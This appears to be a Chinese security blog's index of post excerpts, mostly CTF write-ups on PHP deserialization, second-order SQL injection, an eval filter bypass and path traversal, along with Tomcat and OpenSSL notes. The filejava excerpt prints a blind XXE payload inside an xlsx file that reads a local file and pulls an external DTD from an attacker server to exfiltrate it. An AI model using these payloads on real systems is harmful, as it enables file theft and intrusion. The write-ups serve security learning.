mysql jdbc反序列化的不深入研究
我终于更新博客了…… ...
我终于更新博客了…… ...
采用的是版本较新的idea2020.2, 使用的操作系统为MANJARO LINUX, 其中的过程挺迷迷糊糊的就水一篇来记录一下. File --> New --> Project --> Java --> Nextnext 新建一个项目 右键Project --> open module setting --> 点击+号 --> 导入tomcat8的Servlet-api.jar 右键项目 --> Add Frameworks Support --> 选中web application 选中后会多出来几个东西, 如下图, 多了WEB-INF目录和index.jsp Web-INF里面有只有一个web.xml, 什么是WEB-INF? 根据百度百科的介绍 WEB-INF是Java的WEB应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。 WEB-INF文件夹下除了web.xml外,还存一个classes文件夹,用以放置 *.class文件,这些 *.class文件是网站设计人员编写的类库,实现了jsp页面前台美工与后台服务的分离,使得网站的维护非常方便。web.xml文件为网站部署描述XML文件,对网站的部署非常重要。 Web-Inf文件夹中除了有classes文件夹和一个web.xml文件外、还有lib文件夹(用于存放需要的jar包)(用于配置,比如说用来配置过滤器等。) /WEB-INF/src/ 源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties 数据库配置文件 /WEB-INF/tags/ 存放了自定义标签文件,该目录并不一定为 tags,可以根据自己的喜好和习惯为自己的标签文件库命名,当使用自定义的标签文件库名称时,在使用标签文件时就必须声明正确的标签文件库路径。例如:当自定义标签文件库名称为 simpleTags 时,在使用 simpleTags 目录下的标签文件时,就必须在 jsp 文件头声明为:<%@ taglibprefix=“tags” tagdir="/WEB-INF /simpleTags" % >。 /WEB-INF/jsp/ jsp 1.2 以下版本的文件存放位置。改目录没有特定的声明,同样,可以根据自己的喜好与习惯来命名。此目录主要存放的是 jsp 1.2 以下版本的文件,为区分 jsp 2.0 文件,通常使用 jsp 命名,当然你也可以命名为 jspOldEdition 。 ...
simpleflask 和以往的flask不一样的地方在于, 这里是经过更新后的flask, 计算pin码的方式已经和以前不一样了, 参考 https://www.chainnews.com/articles/898433701852.htm, 不过问题不大,就把machine-id拼接在docker那一串东西的前面就可以了, 需要注意的是每十分钟重启时候的机器mac地址是会变化的. ...
half_infiltration 开局的页面如下 <?php highlight_file(__FILE__); $flag=file_get_contents('ssrf.php'); class Pass { function read() { ob_start(); global $result; print $result; } } class User { public $age,$sex,$num; function __destruct() { $student = $this->age; $boy = $this->sex; $a = $this->num; $student->$boy(); if(!(is_string($a)) ||!(is_string($boy)) || !(is_object($student))) { ob_end_clean(); exit(); } global $$a; $result=$GLOBALS['flag']; ob_end_clean(); } } if (isset($_GET['x'])) { unserialize($_GET['x'])->get_it(); } 思路是进行两次反序列化, 第一次将$_GLOBALS[‘flag’]赋值给全局变量$result, 第二次反序列化是让程序在ob_end_clean()执行之前报错退出. ob_start会打开输出缓冲 启用输出缓冲会导致PHP开始存储你输出的脚本而不是立即将它们发送到客户端。当脚本结束或者你调用了ob_flush()函数,PHP才会将内容发送到客户端。 ...
正常的请求 ...
web越來越没有牌面了…国赛果然是pwn和misc的天下 ...
filejava 提供了文件上传和下载的功能, 在下载功能那里我们可以任意文件读取, 通过把文件名换成文件夹名字可以在报错中爆出绝对路径, 如图: 绝对路径 /usr/local/tomcat/webapps/ROOT/WEB-INF/upload/0/10/ 读文件/etc/passwd 读日志文件 logs/catalina.out 发现有一个war包,下载下来进行源码审计, 发现一处突兀的地方 if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) try { Workbook wb1 = WorkbookFactory.create(in); Sheet sheet = wb1.getSheetAt(0); System.out.println(sheet.getFirstRowNum()); } catch (InvalidFormatException e) { System.err.println("poi-ooxml-3.10 has something wrong"); e.printStackTrace(); } 这里会对exce开头而且后缀名为xlsx的文件进行一个解析, 考虑一下使用xlsx来进行blind xxe, 具体可以参考 https://www.jishuwen.com/d/2inW/zh-hk 新建一个xlsx文档, 解压, 修改Content_Types.xml的内容为 <?xml version="1.0"?> <!DOCTYPE r [ <!ENTITY % data3 SYSTEM "file:///flag"> <!ENTITY % sp SYSTEM "http://vps/ext.dtd"> %sp; %param3; %exfil; ]> 在vps上的web目录下面放置一个ext.dtd, 内容如下: ...
padding oracle 原理: https://www.freebuf.com/articles/database/150606.html ...
昨晚约好的车今天早上竟然被司机一声不吭取消了, 真的无语……得亏睡得浅起床看了一眼.新约的车又要早早开往机场, 于是无奈起了个大早. 到达后又被通知延误, 也不知和离开时候的飞雪有无关系, 但不管怎样, 孤身顶着鹅毛行走路上, 这样离开倒还是别有风味, 于是也有了碎碎念的兴致. ...
开一个新坑~~ ...
贴几个参考链接 https://www.cnblogs.com/wfzWebSecuity/p/11213732.html https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD ...
强网杯 2019 copperstudy 拖拖拉拉终于把这题复现了… 开局计算哈希, 爆破爆破 ...
web online_proxy 特征: 第一次登录后源代码内容有如下: 换一个X-Forwarded-For 后会发现currentip是根据xff判别的 那么有理由认为上一个ip被存储进了数据库中,并在每次检测到访问ip和上一个ip不同的时候就会改变数据库. 源码这里也写到了 $result = query("select current_ip, last_ip from ip_log where uuid = '".addslashes($uuid)."'"); if(count($result) > 0) { if($ip !== $result[0]['current_ip']) { $last_ip = $result[0]['current_ip']; query("delete from ip_log where uuid='".addslashes($uuid)."'"); } else { $last_ip = $result[0]['last_ip']; } } query("insert into ip_log values ('".addslashes($uuid)."', '".addslashes($ip)."', '$last_ip');"); die("\n<!-- Debug Info: \n Duration: $time s \n Current Ip: $ip ".($last_ip !== "" ? "\nLast Ip: ".$last_ip : "")." -->"); 解法: 先用1'|1|'1作为xff访问网站网站 , 访问成功之后改变xff, 再次访问, 这个时候由于前后xff不一致, 原来存储进数据库currentip的ip被重新提取出来存进lastip项中, 如果这个lastip没有过滤的话,就可以造成二次注入, 事实上也确实如此, 但这个可能得猜……在第二次访问之后, payload被重新插入进数据库中, 带着第二次访问的xff来第三次访问这个网站,可以看到 ...
boring code source code <?php function is_valid_url($url) { if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/data:\/\//i', $url)) { return false; } return true; } return false; } if (isset($_POST['url'])){ $url = $_POST['url']; if (is_valid_url($url)) { $r = parse_url($url); if (preg_match('/baidu\.com$/', $r['host'])) { $code = file_get_contents($url); if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { eval($code); } } } else { echo "error: host not allowed"; } } else { echo "error: invalid url"; } }else{ highlight_file(__FILE__); } 思路: 注册一个xxxxbaidu.com 形式的域名.绑定到服务器上后放上自己的代码,payload ...
php中的反序列化分为两类: 一种是常规ctf题目中的直接传入并反序列化, 另一种和session有关: ...
来看看互联网世界的基石 通信过程的简化模型 第一阶段: 服务器向CA发起证书签名请求 服务器组织生成一个私钥 openssl genrsa -out target.key 1024 从私钥文件中得到公钥, 这个公钥会被用于给CA签名 openssl rsa -in target.key -pubout -out target_pub.key 使用私钥生成一个证书签名请求, 在生成过程中需要填写证书申请人的一些信息 openssl req -new -key target.key -out target.csr 生成完成后, 可以运行下面命令看看这个证书签名请求文件里都有什么 openssl req -text -in target.csr -verify 例如: 可以看到公钥也在里面. 接下来把证书签名请求文件提交给CA, CA审核通过后对该文件进行签名 openssl x509 -in target.csr -out target.crt -req -signkey ca.key -days 365 target.crt就是签名成功后的证书. 对于常见的自签名场景来说, ca.key就是target.key, 用自己的密钥去签名自己的证书请求, 自签名请求命令就是 openssl x509 -in target.csr -out target.crt -req -signkey target.key -days 365 然后CA将target.crt以及由Root CA签名的CA证书一同返回给申请人. 如下图所示: ...
Google Xss game...
考试周结束,有时间来复现了。。。然鹅好像有题目崩了,java又没学过。。。只能复现一部分了。 web 签到题 点击,扫描,发现除了index.php 之外其他都需要登陆,抓包发现有发送Auth.php请求,其中有didictf_username字段,尝试添加成为didictf_username: admin。成功登陆。 然后在返回包中显示出了一个php文件,尝试访问看到了Session.php的源代码如下: <?php Class Application { var $path = ''; public function response($data, $errMsg = 'success') { $ret = ['errMsg' => $errMsg, 'data' => $data]; $ret = json_encode($ret); header('Content-type: application/json'); echo $ret; } public function auth() { $DIDICTF_ADMIN = 'admin'; if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) { $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php'); return TRUE; }else{ $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error'); exit(); } } private function sanitizepath($path) { $path = trim($path);//去掉空格 $path=str_replace('../','',$path);//过滤第一 $path=str_replace('..\\','',$path);//过滤第二 return $path; }// public function __destruct() { if(empty($this->path)) { exit(); }else{ $path = $this->sanitizepath($this->path);// ....//config/flag.php if(strlen($path) !== 18) {//../config/flag.php exit(); } $this->response($data=file_get_contents($path),'Congratulations'); } exit(); } } ?> <?php include 'Application.php'; class Session extends Application { //key建议为8位字符串 var $eancrykey = ''; var $cookie_expiration = 7200; var $cookie_name = 'ddctf_id'; var $cookie_path = ''; var $cookie_domain = ''; var $cookie_secure = FALSE; var $activity = "DiDiCTF"; public function index() { if(parent::auth()) { $this->get_key(); if($this->session_read()) { $data = 'DiDI Welcome you %s'; $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']); parent::response($data,'sucess'); }else{ $this->session_create(); $data = 'DiDI Welcome you'; parent::response($data,'sucess'); } } } private function get_key() { //eancrykey and flag under the folder $this->eancrykey = file_get_contents('../config/key.txt'); } public function session_read() {//target1: 绕过所有false if(empty($_COOKIE)) { return FALSE; }//cookie not empty $session = $_COOKIE[$this->cookie_name]; if(!isset($session)) { parent::response("session not found",'error'); return FALSE; }//ddctf_id 不能为空 $hash = substr($session,strlen($session)-32);//长度要大于32? 32位之后的内容 $session = substr($session,0,strlen($session)-32);//一直截断到倒数第32位 if($hash !== md5($this->eancrykey.$session)) {//key.txt 内容和 ddctf_id 内容片段拼接 再md5 等于ddctf_id32位之后的内容 parent::response("the cookie data not match",'error'); return FALSE; } $session = unserialize($session);//ddctf_id 反序列化 if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){ return FALSE; }//ddctf_id 反序列化之后的内容要有 session_id ip_address user_agent 再来个path?? if(!empty($_POST["nickname"])) { $arr = array($_POST["nickname"],$this->eancrykey); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent::response($data,"Welcome"); }//sprint格式化打印函数利用,通过传递进参数nickname = %S 让它可以读取key。 if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) { parent::response('the ip addree not match'.'error'); return FALSE; }//ip_address 要写自己的ip if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) { parent::response('the user agent not match','error'); return FALSE; }//user_agent 内容要和 http_user_agent的匹配 return TRUE; }//看起来可以动手脚的只有session_id? private function session_create() { $sessionid = ''; while(strlen($sessionid) < 32) { $sessionid .= mt_rand(0,mt_getrandmax()); } $userdata = array( 'session_id' => md5(uniqid($sessionid,TRUE)), 'ip_address' => $_SERVER['REMOTE_ADDR'], 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'user_data' => '', ); $cookiedata = serialize($ ); $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata); $expire = $this->cookie_expiration + time(); setcookie( $this->cookie_name, $cookiedata, $expire, $this->cookie_path, $this->cookie_domain, $this->cookie_secure ); } } $ddctf = new Session(); $ddctf->index(); ?> 得到key之后构造ddctfid: ...
bugku 中的部分misc题目 ...
记录密码学刷过的题目 ...